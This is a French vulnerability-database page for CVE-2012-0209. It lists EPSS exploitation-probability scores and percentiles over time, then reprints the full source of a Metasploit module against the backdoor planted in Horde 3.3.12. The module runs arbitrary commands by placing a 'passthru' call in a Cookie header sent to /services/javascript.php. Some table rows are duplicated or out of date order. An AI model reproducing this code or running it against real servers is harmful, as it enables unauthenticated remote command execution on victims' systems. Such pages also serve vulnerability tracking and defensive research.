CVE-2012-0209 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	79.45%	–	–
2022-02-27	–	–	77.94%	–	–
2022-06-12	–	–	76.65%	–	–
2022-09-11	–	–	74.95%	–	–
2022-12-11	–	–	74.4%	–	–
2023-03-12	–	–	–	65.62%	–
2023-04-16	–	–	–	58.83%	–
2023-10-22	–	–	–	45.37%	–
2023-12-24	–	–	–	59.18%	–
2024-02-11	–	–	–	85.97%	–
2024-03-17	–	–	–	87.2%	–
2024-04-14	–	–	–	87.1%	–
2024-06-02	–	–	–	89.62%	–
2024-07-28	–	–	–	89.03%	–
2024-09-22	–	–	–	60.65%	–
2024-10-20	–	–	–	58.15%	–
2024-12-08	–	–	–	46.72%	–
2024-12-22	–	–	–	60.64%	–
2025-02-02	–	–	–	61.21%	–
2025-01-19	–	–	–	60.64%	–
2025-02-02	–	–	–	61.21%	–
2025-03-18	–	–	–	–	77.69%
2025-03-18	–	–	–	–	77.69,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2022-02-27	99%
2022-06-12	99%
2022-09-11	99%
2022-12-11	99%
2023-03-12	97%
2023-04-16	97%
2023-10-22	97%
2023-12-24	97%
2024-02-11	98%
2024-03-17	99%
2024-04-14	99%
2024-06-02	99%
2024-07-28	99%
2024-09-22	98%
2024-10-20	98%
2024-12-08	98%
2024-12-22	98%
2025-02-02	98%
2025-01-19	98%
2025-02-02	98%
2025-03-18	99%
2025-03-18	99%

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution', 'Description' => %q{ This module exploits an arbitrary PHP code execution vulnerability introduced as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10. }, 'Author' => [ 'Eric Romang', # first public PoC 'jduck' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-0209'], [ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ], [ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ] ], 'Privileged' => false, 'Payload' => { 'BadChars' => "\x0a\x0d", 'DisableNops' => true, 'Space' => 4096, 'Compat' => { 'PayloadType' => 'cmd', } }, 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'DefaultTarget' => 0, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Feb 13 2012' )) register_options( [ OptString.new('URI', [true, "Path to Horde installation", "/horde"]), OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]), ], self.class) end def exploit # Make sure the URI begins with a slash uri = datastore['URI'] if uri[0,1] != '/' uri = '/' + uri end # Make sure the URI ends without a slash, because it's already part of the URI if uri[-1, 1] == '/' uri = uri[0, uri.length-1] end function = "passthru" key = Rex::Text.rand_text_alpha(6) arguments = "echo #{key}`"+payload.raw+"`#{key}" res = send_request_cgi({ 'uri' => uri + "/services/javascript.php", 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'data' => "app="+datastore['APP']+"&file=open_calendar.js", 'headers' => { 'Cookie' => "href="+function+":"+arguments, 'Connection' => 'Close', } }) #default timeout, we don't care about the response if (res) print_status("The server returned: #{res.code} #{res.message}") end resp = res.body.split(key) if resp and resp[1] print_status(resp[1]) else print_error("No response found") end handler end end